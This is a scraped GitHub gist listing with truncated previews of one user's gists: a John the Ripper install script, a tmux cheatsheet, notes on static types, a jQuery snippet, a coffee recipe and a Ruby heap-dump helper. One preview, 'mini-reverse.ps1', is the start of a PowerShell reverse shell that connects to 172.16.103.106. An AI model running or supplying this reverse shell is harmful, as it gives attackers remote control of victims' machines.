Skip to content

Instantly share code, notes, and snippets.

This file has been truncated, but you can view the full file.
/
$$$lang-translate.service.js.aspx
$367-Million-Merger-Blocked.html
$defaultnav
${idfwbonavigation}.xml
$_news.php
$search2
£º
.0
/0
@gavingmiller
gavingmiller / jtrinstall.sh
Last active January 5, 2020 02:52 — forked from goffinet/jtrinstall.sh
John the Ripper 1.8.0 Installation for Centos 7
#!/bin/bash
# Centos 7 John the Ripper Installation
git clone https://github.com/magnumripper/JohnTheRipper.git
cd JohnTheRipper/src
git checkout bleeding-jumbo
./configure
make -s clean && make -sj4
cd ../run/
./john --test
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@gavingmiller
gavingmiller / tmux-cheatsheet.markdown
Last active May 15, 2018 19:33 — forked from MohamedAlaa/tmux-cheatsheet.markdown
tmux shortcuts & cheatsheet
@gavingmiller
gavingmiller / mini-reverse.ps1
Last active March 21, 2018 23:57 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('172.16.103.106', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;

Types

A type is a collection of possible values. An integer can have values 0, 1, 2, 3, etc.; a boolean can have values true and false. We can imagine any type we like: for example, a HighFive type that allows the values "hi" or 5, but nothing else. It's not a string and it's not an integer; it's its own, separate type.

Statically typed languages constrain variables' types: the programming language might know, for example, that x is an Integer. In that case, the programmer isn't allowed to say x = true; that would be an invalid program. The compiler will refuse to compile it, so we can't even run it.

<img id="preview" style="display: none; max-width: 200px" src="">
<script src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
<script>
$(document).ready(function() {
$("#photo_url").on("blur", function(event) {
var photo_url = $(this).val();
var preview = $("#preview");
if (photo_url) {
preview.attr("src", photo_url)

Coffee Collective Aeropress Recipe

  • Use standard orientation (i.e. not inverted).
  • 16g coffee.
  • Add water to get to 40-50g combined. Allow grinds to bloom for 15s.
  • Add water to get to 230g.
  • Do not stir.
  • Press over a period of 25s. Stop when you hit the top of the grinds.
@gavingmiller
gavingmiller / heroku-memory-dump.rb
Created May 12, 2015 19:57
Dumping Memory from Heroku to S3
def dump_memory
GC.start
time = DateTime.now.strftime('%-l%M')
path = Rails.root.join("tmp/ruby-heap.#{time}.dump")
io = File.open(path, "w")
ObjectSpace.dump_all(output: io)
io.close

6 Months of historical Well License's with an Attribute filter

tl;dr - Improvement from 16s down to < 1s

With 6 months of well license data: start_date: 2014-10-18, end_date: 2015-03-05 and a single filter by operator name: Standard Exploration Ltd.

Request:

bcurl 'http://localhost:3000/api/v1/maps/asset_list' \